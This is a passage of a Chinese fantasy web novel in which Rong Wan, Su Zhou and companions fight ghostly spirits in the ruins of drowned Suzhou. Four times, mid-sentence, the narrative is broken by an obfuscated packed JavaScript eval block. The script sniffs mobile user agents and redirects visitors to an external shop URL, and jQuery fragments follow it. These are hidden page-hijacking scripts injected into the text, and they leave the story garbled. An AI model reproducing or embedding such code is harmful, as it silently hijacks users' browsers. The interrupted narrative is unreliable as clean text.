“我想过杀掉审判那日以灵阵相困的所有人,也曾想过杀掉你是最简单的办法。”容晚摸着仙魔棋中名为首座的棋子所在的位置,眼前恍惚浮现霜元百年的大雪夜,容皓盖下诏书屠戮夙州,“可那我和容皓有什么区别?那我和那一夜的我们有什么区别?以杀止杀,不对的。” “雪夜?后悔赠我不晴那一夜?”夙昼纵是敏锐地捕捉到她所有的情绪,抓到所有隐晦不明的重点,“还是后悔助我复仇?但那日死在不晴剑下的人有谁无辜?那日死于夙州的所有百姓谁非无辜?” “我非无辜?”夙昼笑起来,他环视着此间没落的水下城池,在深不见底的水渊里,沉没着从前那一座春有赏花宴,冬有温酒会的夙州城,承载着他少时儿时所有的欢乐。 眸光落在容晚脸上,他眼中再无泪意,细密的血丝爬上瞳仁,语气皆是悲凉:“我不无辜吗?” 他大笑起来:“薛、钟、夙三姓之盟,以彼此亲生之子为盟约,居然是为了一个不知真假的预言?三界共主这样可怕吗?可我从未想过争权夺利,是命运将我一步步推到如今。” “不是命运。”容晚轻声说:“是我。” 隔绝的阵印被打破,褚华秋看见玄衣公子忽然出现在眼前,神色好似很淡定,可剧烈起伏的胸膛又显得他很生气。 见到容晚跟着出来,眼神低落,褚扶光凑上去笑:“大小姐,你用了什么术法,能让我们避水而行,且不会漂浮呢?” “这样,伸手。”容晚弯起一丝笑。她将符文阵印画在褚扶光手心,“我改了原先的阵印,你维持不住的时候,就会生效。有些难,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14105180|147599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你似乎天赋不错。” 金光映得他们如在日光之下,夙昼脚步已至门口,余光中的她被飘扬乌发遮住眸光,却挡不住碎意。 从前,容晚也曾在他掌心画下无数阵印,细细讲解,大多时候,她会夸他是天赋极佳之人。 后来她抱着他,希望他归于她。 是非无辜都不重要了,他剔除所有的念头,走至容晚身前,一抬手,围着她的两个少年被挪至墙角。他单膝跪在她身前,仰头望她。 “我归于你。”夙昼轻轻握住她的手,歉意自责漫上眼眶,泪意盈盈,“容晚,我归于你。是非无辜,不及你重。” “阿昼。”容晚含笑望他,抚上他的脸颊、眉眼,毫无介怀之意:“我不在意的。相反,我乐意听你说这些。” 世间囚牢万万,唯有心牢难破。夙昼被困住了。自那一个雪夜起,同整个夙州一起困在了过去。 “你只是被困住了,”容晚同他额间相抵,“我都明白。” 眼中不见怒意,未曾有过一分介怀,只是浓重的疼惜。 不曾怨我,倒是我险些负她。夙昼闭了闭眼,倚在她膝上,轻抚顺着颈后往下,放松他紧绷的颈背。 “阿昼,你比我勇敢。而我或许有些卑劣。”容晚一下下轻拍他,“我知道我们之间所隔甚多,但我想自私一段时间……我想和你在一起,过一段无关其他的日子,好不好?” 夙昼随意地席地而坐,环着她的腰身,闷闷说了声,“好。” 怀中人不过是太想和她在一起,毫无阻隔地在一起,他只想解决掉所有的问题。可事与愿违,太多太多的阻碍挡在中间。 躲起来吧,就像胆怯的幼鸟一样,相拥着取暖,直到风雨将至。 等到九方莲挣开眼睛,小树累得喘气,容晚在一旁替他扇着扇子,像从前在衡游的丹房里为他扇风一样。 而夙昼被褚华秋和褚扶光拉着,教他们仙魔棋的规则,他脸色铁青,不愿意教,却磨不过小孩,将玩法规则细细讲了一通。 第三盘时,褚扶光便能反杀夙昼,赢他三子。 “我累了,你们小孩自己玩。”夙昼佯装自在地挪到容晚身旁。 两个小孩正玩得火热,容晚收回目光,笑道:“这些年还是下不会?” “太幼稚,无心钻研。”夙昼气定神闲,“不好玩。” “这样啊……”容晚朝他扇了一下风,“有没有凉快一点?” “嗯?”夙昼不明所以,配合着答道:“有。” “那就不要脑瓜一热,说大话。阿昼,承认自己有不擅长的事并不丢人。就像我,当年仙门史和灵植课修得不能再烂,全靠——” 全靠衡游接济,他们彼此心知肚明,却谁都没有说出口。 “大小姐!”褚华秋惊恐地叫了一声。 九方莲的身下诞生出一个血色的繁复阵印,涉及无数地点的传送阵印,其间符文交错不成线。 设阵之人极慧,竟能利用空间将传送阵改为杀阵,他们恐怕都要符文撕碎。 79. 方生方死 “九方——公子,这是你设的针,赶快停下来,大小姐都留你一命……”褚华秋惊叫道。 “他哪里有这样的实力。”褚扶光阵印之术天赋极佳,此间阵印的灵力波动超乎九方莲的实力。 阵印寸寸缩紧,夙昼拆出一层符文,金光席卷着血灵,搅得一个巨大的水底漩涡,两个少年苦苦支撑,被涌动水流卷起来。 时不我待,容晚翻飞的指尖中阵印层出不穷,拆分、打碎,再以灵力将阵印融合。 眼见两个少年即将昏死过去,下一刻就会被卷至未知之境,夙昼眸光一动,血色符文缠上两个少年,他们被拉回,以一种奇怪的联结方式,同夙昼相隔十步。 “阿昼,带上九方莲。”容晚冲夙昼说道,指尖的阵印接连不断地落下来。 涌动的暗流像漩涡一样吸附住众人,直至吞没。 血光模糊视线,杀阵削上皮肤的同时,银白色的传送阵印同时落下。 再睁眼时,平静的水波涌上黑色沙滩,白与黑的碰撞,惊起浪潮间的血灵涌动,如同风清浅吹拂。 一道阵印落在水中,容晚勾了下指尖,夙昼遗忘的两个少年被拖出来。 “谢、咳咳咳、大小姐和公子、咳咳救命之恩。”褚扶光拍着胸口,言谢对他而言太过重要,忍着胸口的闷痛说出来。而褚华秋一阵猛咳,眼泪鼻涕其下,死死抱住扶光的胳膊不放。 而夙昼拎着九方莲的衣领,将他随意丢在地上,直直朝容晚走来。他扶起她的衣袖,手臂上一道血痕。 指尖划过,伤痕不见。 “受伤了也不先顾自己,先救什么小孩。”夙昼淡淡道。 “小伤。”容晚笑着望他,想来是生死印让他感受到疼痛。 “这里——”夙昼轻柔磋磨着容晚腕间的一处,“从前有不晴剑痕,还有天道契,如今什么都没有。真好。” 容晚还未回答,就被九方莲喃喃的声音打断:“上仙,你可并没有离开。” “你说什么?”容晚从不怀疑自己的阵印,融合为一的传送阵足以将他们送出夙州。 “这里还是夙州,亦是黑水湍流汇聚之处,还是你那徒儿两次自裁之地。此间黑色的碎石您不熟悉吗?”九方莲高傲笑道:“这里是白咒城的废墟啊。” “师徒、他们是师徒?”褚华秋激动地拍着褚扶光的肩膀,被自家亲师弟捂死嘴,发出嗯嗯的声音。只听褚扶光说,“我们要当自己不存在。” 久未出声的夙昼极为平静,像听到笑话般讥讽道:“九方氏向来满口谎言,谁会信你。” “上仙会啊。”九方莲讨好地望向容晚,她的冷静之下是犹豫不决,盯着容晚缓缓抬起的眼睛,九方莲说:“上仙,还记得当年我在白诡火里的俯首吗?自那时起,我向您倒戈,自那之后忠于您。” 是有这样一回事。当年为救薛沐,她急于自容皓设下的禁阵中逃出,半逼半请地收了一个部下——九方。 唯一一道命令似乎是交他离开容皓,带着九方氏远离三界共主之争。 “我如何相信这不是你的谎言?”容晚心有玲珑,不会被他一叶障目。 “上仙,如今我仍然忠于您。”九方莲乖顺地垂下头颅,将九方一族的命脉——颈侧红莲朝她露出,“只需一丝您的灵力,我将无法背叛您,您会知道我知道的一切,知道我字字句句所言为真。。” “不要相信他。”夙昼攥住容晚的手腕,盯着她指尖凝出的那一滴血,“九方氏狡猾,从未有过红莲一说现世,他——” “至少我们不会有什么损失。”容晚指尖的灵血朝九方莲额间落去,一个小巧鲜红的印记似乎嵌入皮肤。 一丝灵力涌向他的颈侧,那朵红莲怒放,灼烧的感觉烫得九方莲溢出呻吟,渐渐地他的红发红瞳褪为白色,红莲隐没。 “上仙如今可知我所言非虚?”九方莲桀骜不逊的眼光又落在夙昼脸上,“红莲乃我族极密,岂会留存于世?让你这无能之辈知晓?” “住口,再不要说这样的话。”容晚声音极轻,于九方莲而言却是不可违逆的命令。 “阿昼,他忠心为真,但是对你有偏见,非常重的偏见与嫉恨。”容晚松开九方莲的阵印束缚,他骄傲地扬起笑,像一只孔雀开屏。 “你从前见过他吗?”容晚问。 搜刮干净所有的记忆,夙昼并未找出这样一个人,相貌名字气息统统是陌生的。他摇摇头,“未曾。九方氏早已避世,共主之争从未露面。” “容皓无法借力,所以将你封在这里?”容晚理清楚前因后果。 当年失去傀地九方氏的助力,无非断容皓一臂。以他的心情必然将老老小小上上下下全都杀光,至于为何留下九方莲,这确实是一个难题。 “容皓为何留你性命?” 听到容晚如此问,九方莲面色难堪,几次想住嘴,却控制不住声音从唇齿间滑出来,“我、我答应他,带他找、找——” “找什么?”语气不容置喙。 “找、找到您。”九方莲唇齿间皆是鲜血。 可见他万分不愿告诉容晚,却又能为了获取她的信任,将命门相告,所答亦违背本心。 “以后不想答的,可以不答,我不再强迫你。”容晚不忍看他,唤出小树为九方莲止血。 小树的动作很轻,喂了几颗丹药,指着九方莲额间的红点,狠狠搓了一下,“同我印?祖游书上说,被种印之人所言所行不可违背种印之人的心意。大小姐,你连失传的阵印都会?” “起开。”九方莲推倒小树,被容晚剜了一眼,他语气僵硬地致歉,“我错了。” 下一瞬,小树哇得大哭起来。墨麒自灵境中冲出,一口咬上九方莲的小腿,两颗小尖牙死死嵌入他骨缝间。 九方莲嘶了声,提起墨麒的一只角,四脚腾空的瞬间,墨麒松开嘴,被狠狠丢到了小树身上。 真是太混乱了。两个少年躲在一旁装睡,时不时翻下眼皮。小树哭声不断,墨麒哼哼唧唧带着怨念地叫。九方莲死死盯着那只不知好歹的麒麟兽。而夙昼—— 相当不耐烦的夙昼早已施了一个隔音咒,世界 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14115406|147599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才清净几分。却没清醒多久,隔音咒被容晚打散,乱七八糟的声音涌进耳朵,几近掩盖住越渐猛烈的海浪声。 “别吵。”夙昼冷声道。 齐齐安静的瞬间,呼啸风声刮得众人衣衫乱飞,浪潮拍打碎石,天色慕然染上乌黑,似是被云彩泼了墨。 “怎么回事?”容晚问。 “傀夜。”九方莲刚揪住被吹飞的小树,那只麒麟兽死死抱着他的腿,九方莲忍住踹它一脚的冲动,“每逢傀夜,傀灵都会顺着浪潮上岸,一遍遍重演死前执念。” “什么是傀灵?”褚华秋悄悄问扶光。扶光摇头。 “我知道。”小树上下牙齿打架,“祖弥的悼词里提起过,她曾为了寻找父亲的灵,找过几百个傀夜。而傀灵就是心怀执念,未曾散去的死者。” “那岂不是都是从刚刚的那地方来?”褚扶光惊道。 话音未落,随着天幕转为漆黑,血夜当空,如血的雪花冰晶纷纷而落。 浪潮中涌动的血灵化为一道道虚相,或是白色、或是黑色,更多的是红色,鲜红色、暗红色。 虚相化出具象,人、兽、灵草灵植。上至耄耋,下至幼童,无一不是满身通红。 “阿昼。”感受到心口剧痛,容晚扣住夙昼的手腕,她几乎忍不住心痛,而夙昼双目通红,颤抖的唇几经开合。 看到容晚的痛楚,夙昼意识到是自己的心痛叫她同痛,生生压下心绪,竭力回想着所有的快乐妄想止痛。他轻笑说:“我没事。” 心口慕然一松,容晚紧紧攥着他的手,以他们两人能听到的声音,一遍遍重复,“我在。我在……” “上仙,让开!傀灵伤人!”九方莲被血色虚相挡住,只能在一个年岁苍老的傀灵虚相撞上容晚时大吼。 杀阵落下的刹那,夙昼却压着反噬散去阵印,拥着容晚躲过蜂拥而来的傀灵。 与此同时,银白色阵印落下,一行人齐齐被罩在结界之中。 两个年岁尚小的少年吓得脸色发白,“这、什么东西啊?” “不是东西。”夙昼声音黯哑,嗓子似是被刀锋划过,字句皆是染血的痛楚,“他们是人,是人。” “人死为灵,傀灵算不得人,他们早死了,如今不过是虚相,执念一散,终会化灵,泽被万物。”九方莲盯着夙昼,他的言辞,无非是将夙昼最惨痛的记忆剖开,在夙昼的血肉里狠狠搅了一通。 “你再说一个字,我一定忍着恶心杀了你。”夙昼浑身被冷汗浸湿,他失去力气,倚着结界缓缓坐下。 “阿昼,我明白,他们不该如此的。”容晚捏决为他除去那些恼人的湿意,握着他颤抖的手,说:“我们会有办法的,他们不该被困住。” “救救他们。”夙昼眼神失焦,恍惚间攥住唯一的救命稻草,他抓着她的手,是从未有过的祈求之态。 “师父,师父……”眼前浮晃出夙州雪夜,满目鲜红,夙昼无力地喊着,“你别救我,救救他们。” “救救他们——” “我可以死,我不活了,我……” 80. 方生方死 “做什么春秋大梦呢!他们死了,救不了。懦弱无能的怂包……”九方莲抬手击散攻击他的一个傀灵,嘲讽道。 “你别说了!”褚扶光大喊道:“没看到他那么痛苦吗?” “小子,我可是刚救了你的命。”九方莲顺手一推,少年撞在结界上,一声痛呼。 “还等什么?”九方莲无情催促道。此间傀灵既有血色亦有纯黑色,黑为戾气所化,蚕食其他,甚至会吸干活人精气。 “没时间了!容晚!”九方莲看见夙昼失控地哀吼,而容晚宛如四下无物般,这世界好似与她无关,疼惜的目光只落在夙昼身上,悄声地安慰着夙昼。 “我在,阿昼,我在。”容晚环抱住他,冷意顺着他的身体冻伤她,忍着不适施下灵咒,让自己的身体变得温热。 热意袭来,夙昼感觉到像是血的滚烫,冰天雪地,尸横遍野,他的血、妹妹的血肆意横流,将积雪都融化。 “对不起,眠眠。”夙昼喃喃说:“我救不了你……” 血泪如珠,滴落在容晚颈间,她竭尽所能地抚慰不安的夙昼,感受他的颤抖、心痛。 生死印的作用下,他的每一分痛她都明白。 “容晚!傀灵失控,我们都会死!”九方莲咬牙切齿,手中的红光砍向无数疯魔的傀灵,血灵弥散,彻底消失。 漆黑的夜里能望见血色的光影,那是曾死于夙州的生灵虚相,而黑色傀灵戾气更重,几乎是一手撕碎一个孱弱的血色傀灵。 黑傀与血傀厮杀激烈,碎灵顺着风拍在每一个人脸上。褚华秋不敢添乱,唯一能做的是不添麻烦。 而褚扶光善剑道,提着剑和九方莲相配合,击杀着更加凶残的黑傀。 一剑落下,黑傀散成腥臭浓重的烟雾,小树猛然起身,从怀中掏出一颗光球朝几个人齐齐扔过去,“小心!黑色的有毒!” 果不其然,褚扶光晃晃悠悠地晕在九方莲身上,那种窒息的感觉让褚扶光重重合上双眼。 “容晚!”九方莲第三次唤她的名字,而被唤的人似是终于有了反应。不,是她怀中的那人心绪稳定下来了,她这才分给他几分目光。 白色的如同神性光辉笼罩下的结界,一层层地加强。 在他们所处的结界之外,容晚一手拥着夙昼,另一手指尖一勾,画下新一层结界,更加广袤,强悍到将目光所及所有的黑傀和红傀分开。 终于,他们有了一些喘息的空间。 “你再不听我的,我们都得——”九方莲声音皆是怒意,那头纯白的落地长发似乎全是火焰。 “等会。”容晚望向晕倒的褚扶光,小树正蹲在他身前眉头紧锁,似是不知如何解毒。她说:“小树,试试你的血。” “啊?”小树茫然,“我只是一颗九岁的桂树,虽然化灵,但入不了药。” “可以的。试一试。”容晚道。 总是会相信她的,那是日日喂养他的人。小树划破指尖,塞进褚扶光的嘴里。 而褚华秋轻声喊了一声,“哎!你怎么不洗手?算了算了,救命要紧,我不告诉扶光就是。” 泛着金光的血滴涌入褚扶光的唇齿间,奇迹一般的,褚扶光的胸膛忽然有了起伏,呼吸渐渐平稳起来。 眉目间的黑色褪去,露出少年本来的肤色。 “这是为什么?”小树目瞪口呆,忽然,他将流着血的指尖送进自己口中。褚华秋又想提醒他,没洗手,终是什么都没说。 “我本以为,这会永远是一个秘密。”容晚不想提及灵血灌溉一事,“还记得你怎么化形的?” “嗯……有了意识后,忽然有一天铺天盖地的灵力涌进我的身体,我好像大家常说的那样,既有灵智,又有了真身,在修行之路上一步登天。所以,我的血能医百疾?” “借他人之势罢了。”九方莲敲了下一银白色的结界,真是不能再忍耐,“容晚,上仙,大小姐,容我提醒您,我们绝无可能在这里困上一辈子。” “自然,你继续说。”容晚垂眸望向怀中的夙昼,他似乎陷入陈年梦魇,神智不清,只是紧紧攥着她的手,像是濒死的人暗夜里向光,不肯自弃。 “趁着他昏了,设阵毁了所有傀灵,不论是黑傀,还是红傀。”九方莲望着两层结界外,傀面獠牙的黑傀们张牙舞爪,一波波涌上前。 他们将自身化为戾气,一道道劈在结界上,隐隐能望见裂痕。 “一定要这样做吗?”容晚抬起茫然的眼睛,问:“不能封印,或者渡化吗?” 她怎会有茫然的眸光?九方莲白色的瞳孔里闪过一丝诧异,隔着两重结界,随手拖了一直瘦弱的黑傀进来。 褚华秋吓了一跳,忍着叫挪到褚扶光身前,护住他。小树观察着褚华光的病情,淡淡看了一眼黑傀,垂下头继续施针。 “你比我想象中更强,比起从前真身,如今你真是不可小觑,九方莲。”容晚静静地看着他的表演。 那只黑傀以极其嘶哑难听的调子乱叫,容晚皱着眉,“华秋捂好耳朵,小树堵住扶光的,灵力拦不住。”而她紧紧捂好夙昼的双耳,下巴轻轻碰了一下他的额间。 一双手覆上双耳时,容晚怒意先至,“你做什么?” “舍不得您受黑傀影响,不然我们可就真的出不去了。瞧瞧夙昼这半死不活的样子,您恐怕要一己之力将傀灵全灭。”九方莲眸光一动,那一只瘦弱黑傀在火光里化为烟尘,轻飘飘落在地上。 “为什么你笃定我会全灭傀灵?”容晚问。 “因为谁人不了解怜光上仙呢?两重相较取其轻,在傀灵失控时,您不忍血傀被残害。可若是救血傀,那黑傀亦会同生。若是什么都不做,那我们只能困在这里。”九方莲似乎并不在意自己的话是否会刺激到容晚,也完全不在乎是否在逼迫她。 “若是想要离开这里,必须全灭傀灵。否则,他们会去往人间。”九方莲忽然抬脚朝结界外走去,容晚的结界在他掌下崩裂,寸寸裂痕像流萤一般划过天魔,没入傀灵的虚相。 “你在妄图操控我。”容晚的眸光紧紧盯着碎裂的结界,九方莲仅仅打破了第一道,无数血傀蜂拥而至,向他们涌过来。 “啊啊啊——”褚华秋捂着嘴,仍是堵不住胸腔里不受控的尖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129066|147599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫。血色傀灵或飘或走,以惊人的速度将他们重重包围,甚至伸着手似乎要抓走吃掉他。 他紧紧抱着扶光,甚至将小树也护在怀里,将自己的后背留给血傀,哭叫着,“大小姐,救、救命。” 奇怪的是,血傀似乎并无恶意。傀灵仅有虚构的光影,并无实体,他们穿过褚华秋的身体,避过九方莲,向一个位置汇聚。 “啊——啊啊……”血傀们七嘴八舌地以一种奇怪的调子,似是同九方氏相似的吟唱,又像痛苦的不知所云的哀嚎。 “娘……娘亲……”夙昼脸上的冷汗里夹杂着细碎的血灵,他在荒无的雪原上赤脚奔跑,双脚冷得没有知觉,心口血脉如火一样灼烧。 无数柄剑刺穿他的身体,妹妹的哀嚎似在耳边,他猛然惊醒,俯仰之间带得容晚身形一晃。 眼前虚幻的光影是什么啊?夙昼努力地眨动眼睛,仍是一片血红的模糊,“师父?我看不见了。”他去抓她的手,努力缓和许久才缓缓抬起眼睛,看清楚围绕着他的那些血色身影,竟然显得有些梦幻。 一个小女孩蹲在夙昼身旁,有些远的距离,她是少有的不曾发出声音的人。 “眠眠?”夙昼的喉咙被声音割破,是无尽的痛。 眠眠。被提醒到的容晚想起她来,夙昼的小妹,自小不会说话,身体孱弱。在那个雪夜里,她被夙昼护在怀里,身受数剑。 眠眠的前胸后背是浓郁的血灵,她指了指耳朵,打出手语:“我听不到,他们也听不到。我很想你,哥哥。” 汹涌的泪意刺得夙昼难以开口,他亦是回答她,声音和手势一同出现,“我会带你们回家,我会……让你们安息。” “够了!够了!”九方莲冲上前扯住夙昼的衣领,拉得他趔趄。他才不管这群人前情过往如何,只知道如果不灭傀灵,全都得死在这。 “回家?回什么家!你现在应该做的是送他们上路!不然我们都会死在这!再说了——”九方莲简直是受够了,“血傀也会沦为黑傀,在这死气沉沉的傀地,编一个梦,这就是你说的安息?” “九方莲。”夙昼起身,挣开容晚的怀抱,他指尖的杀阵一寸寸地落下来,绞上九方莲的脖颈,“你有什么胆子敢和我说这些话?以你对我师父的忠心?你觉得我会不知道你的目的?呵呵!” “你敢碰我家里人一下,我保证让你死得不明所以。”夙昼狠狠甩开他。 “哎!”九方莲笑了一下,“我可动不了手。夙昼,曾经差点做上三界共主。容晚,你又差点做了首座。那答案岂不是很明显,死得不能再死的傀灵和人间无数苍生间要怎么选?红傀灵散解脱还是沦为黑傀,同类相食?” “你——”夙昼正要扭断他的脖子,眠眠那双不见眼睛的空洞眼眶盯着他,指尖翻飞的动作在说:“我们愿意。” 稀碎的银白光点坠落,容晚感受到前所未有的撕裂感,怎么选?谁来选? “第一道结界碎了——”她喃喃道。 黑压压的傀灵同红傀相撞,纠缠的光影间,哀嚎声四起,夙昼的身体无法控制地颤抖,耳边嗡鸣,似乎炸出血花。 81. 方生方死 黑傀如潮水冲垮结界,嘶吼声惊得少年们躲在墨麒的鳞甲间,顺着缝隙挥舞着剑锋。 “小心!”褚扶光刺中一只黑傀,将血傀送到夙昼身旁。褚华秋颤抖着挥剑,惊叫着但剑光一刻未停。 “啊——往左往左,右!”小树趴在墨麒头顶,巨大的麒麟兽一眼失明,他充当着眼睛和他们一起杀出重围。 “快走!”看见墨麒歪歪扭扭的奔跑路线,容晚眼前一黑,能出去就好,别的不强求了。 血傀惊叫着四散,躲不过被黑傀撕碎成片,尖锐刺耳的叫声刺激得此时的三人心如刀割。 “容晚,快!”九方莲挡掉一只黑傀恶心的舌头,触角也被齐齐斩断,砸落在他身上,“只有你能设下覆盖此间的杀阵,不要再等!”他转头投入新的厮杀。 “我不能,”身着浅黄衣衫的女子挣扎不已,眼睫不停地扑闪,她望着夙昼拼力厮杀只为护住那些尚还存在的血傀,声音极轻,“我不能,我不能——” “容晚,你看。”九方莲的目光落在惊涛骇浪下的一束白光,“那是傀地同人间的相连处,黑水湍流就要闯入人间了。那些手无缚鸡之力的凡人有命可活?” “我——”容晚顿了一下,打开同容朝的传音灵径,急切道:“灵洞恐有水祸,设结界以御水。此次胜于落落涧水祸百倍不止,快!” 收到传音的容朝回过一个是字,即刻启程,同容俞一起召集天下仙门齐聚灵洞,商讨御水之事。 而容晚无暇顾及夙昼,攻击黑傀之余,她不断地设阵、结印,一层层地落在血傀身上,但随着时间推移,阵印的控制渐渐失效。 黑傀甚至能将爪子伸入结界中,抓住血傀的脖颈,狠狠扯断。 “没有时间了,黑水决堤,人间覆灭,容晚你还在等什么?”九方莲恨恨道,他身上脸上皆是黑傀的碎灵,那些血傀非他在意,若是能避便避,避不过去那就和黑傀一起杀掉。 “我——”容晚凝视着漫上天际,卷出巨浪的黑水,深深望了一眼正护着眠眠和一众血傀的夙昼,“阿昼,我……”似乎说什么都不重要,什么解释他恐怕也听不进去。 丝丝缕缕的洁白光线冲出天际,惊得容晚周边的黑傀四散,朝着远处狂奔,似要躲入黑水之中。 天边水底,柔如发丝的白光陡然成链,直直插入天幕水底,囚牢的雏形将现—— “不要,师父,”夙昼喃喃道,他总是在脆弱不堪时祈求地呼喊容晚,“救救他们,没有办法吗?” 没有办法,他知道什么办法也没有,夙昼颓然地挥舞着剑,杀掉一只黑傀,就能多护家人一时。 “困阵?”九方莲在酣战中瞥见容晚不再结印,此时笼罩整个世界的阵印符文是一个巨大的困阵,同当年夙州灵台,困住无数仙人妖魔的灵阵无二。九方莲怒不可遏,“容晚你要死不要拉着我给你陪葬!" “哼!”容晚在汹涌的傀灵中同夙昼会和,他们将后背留给对方,困阵已成,她掌下的金光阵印一个接连一个,层层叠叠数十层。 巨大的金色虚影拔地而起,符文挟着杀阵,自阵眼冲向四面八方,缠上黑傀的脚腕,顺着虚相寸寸绞杀,连碎灵也吞噬干净。 精巧的灵阵避过血傀,设阵时容晚以自己为主阵眼,而另一个阵眼是护着眠眠的夙昼。可辨身份的阵印是她自过去回来之后,夜夜无眠时所绘,试验过千次百次,却碍于需用生灵检验这一条,容晚从未用过。 金光如剑刃一般铺天盖地朝黑傀削去,尖叫声漫天,而落在血傀身上,虚无般穿过他们的虚相,形成一道道坚固的守护阵印。 这样的阵印一时间落在数十万血傀身上,丝丝缕缕的白光和着金光,织就一副盛大辉煌的盛景,比满天烟火更加绚烂。 阵印不停,容晚指尖动作也不停,她无暇顾及自己,汹涌的黑傀在濒死前,向她发出最后的攻击。 积攒数年的戾气和虚相一起化为一道黑光,数量惊人地翻倍,直直朝着容晚冲去。 “师父!小心。”夙昼除却攻击黑傀,时时刻刻护在她周身十步内,过半灵力送给容晚。如此繁复的结界,她一人撑不住。 黑光陡然巨盛,九方莲慕然停下,他杀掉挡道之徒,无关黑傀亦或是血傀。 “我必杀你。”夙昼睨他一眼,全部的注意放在容晚身上。 无底洞一般吞噬灵力的阵印,容晚撑不久,就算他们以性命为祭,仍然撑不久。 “容晚,你总是这样固执地不听话。”九方莲冲她一笑,“你不愿意做的事,我来做好了。不逼你了。” 这句话他说得太过亲昵,宛如情人间的贴面细语。 一道束缚灵力的阵印落下,自头顶至脚上,九方莲被夙昼禁锢,封存灵力。 “我有说过,是我自己动手吗?”九方莲无奈地望向光芒璀璨,白金黑红灰五色交织的天幕,矫揉造作道:“天啊,请您助我一臂之力,好叫这不该存世的傀灵全都绝迹——” 嘴被一团泥巴糊住,九方莲恶心地呕吐着。 “你究竟想怎样?”容晚唇齿间的血味渐重,控制身体的疼痛不传给夙昼。 这一切真是太诡异了。九方莲以奇怪的方式和姿态挤入她的阵营,如今却桩桩件件逼着他们全灭傀灵。而他的赌注看似是人间众生和夙州亡者中只择其一,但绝不止于此。 偏偏他字字句句所言为真,言谈举止同他的老祖辈——容晚在五千年前见过的那位九方莲,简直一模一样。 眼见九方莲张了张唇,容晚冷声道:“你以为我还能叫你开口说话,至于你的命,你对我还有些用,仅此而已。” “哼!”九方莲愣是从喉咙里挤出一声,朝着天幕努了努下巴,得意洋洋地笑。 起初是一点小小的白光,没入结界中,渐渐地,满天白火如流星陨落般撞向结界。星星点点,看似毫无轨迹,却直直砸在阵印的每一个生眼上。 不过片刻,银光璀璨的结界被烧毁大半。容晚低低地笑着,谁也听不出她的情绪,“以为这样就能拦住我?以为这样就能全灭傀灵,好让你们逃出傀地?” 光化利刃,容晚割破手掌,灵血顺着符文补绘结界阵印,半身灵血,封禁结界,阻挡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14144547|147599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住吞天之势的白色火焰。 同一瞬,夙昼的灵血顺着符文涌入,血丝同容晚的血交织纠缠,他们感受着彼此的疼痛、彼此的呼吸,心中汹涌的爱与恨,在满天流火间扣紧彼此的手。 “老朋友们?”容晚冲着乌云之后、白火的来源处,语气玩味地唤道:“约莫也有五千年未见,诸位可曾想念我?” 云层之后久久未动。 “天啊,”容晚佩服不已,“你们究竟想怎样?出去?活着?”她声音转冷,渗着恨意,“还是死,这么多年了,你们还闯不出我的阵印和结界,真是没用。” “也许他们觉得活着太累,不如送他们一程?”夙昼隐约猜出,她口中的老朋友根本不是朋友,怕是仇敌才对。 “也可以。让我检查检查,你们破我的阵印破了几成?”容晚流失半身灵血,身形遥遥欲坠,她抬起指尖,宛如翻书弄草般,隔着重重距离拨开云层、虚空,触碰到结界时,她颇为失望地叹气说:“可惜了,都没碰到我的阵印,不过……”她语气轻快起来,“能把容皓的诡道禁阵解了大半,你们这群人真的不错。” 云层之后众人面面相觑。 “还不说话?其实当年我布下过杀阵的,你们所处结界的最深层,是无谁能避的杀阵。”容晚淡淡笑道:“我最善阵印阵法,不出片刻,阵印重启,你们可都要留在此地,喂黑傀——” “笑话!”一道浑厚的老者声音穿风而来。 “是仙长啊!灵台上贪生怕死,拉所有人下水的药仙。”容晚猛然抬手,指尖划过一道亮光,撕开天幕。 诸天“神佛”,其实是仙魔妖,其间凡人早已在漫长的时间里逝去,他们宛如玲珑宝塔般层层坐落,而容晚他们位于地面,宛如身在当年身处灵台、仰视他们的那一日。 “真是好久不见。”容晚支撑结界的灵血一刻也未曾停止流出,混合着血色的阵印盛放更绚烂的光芒。 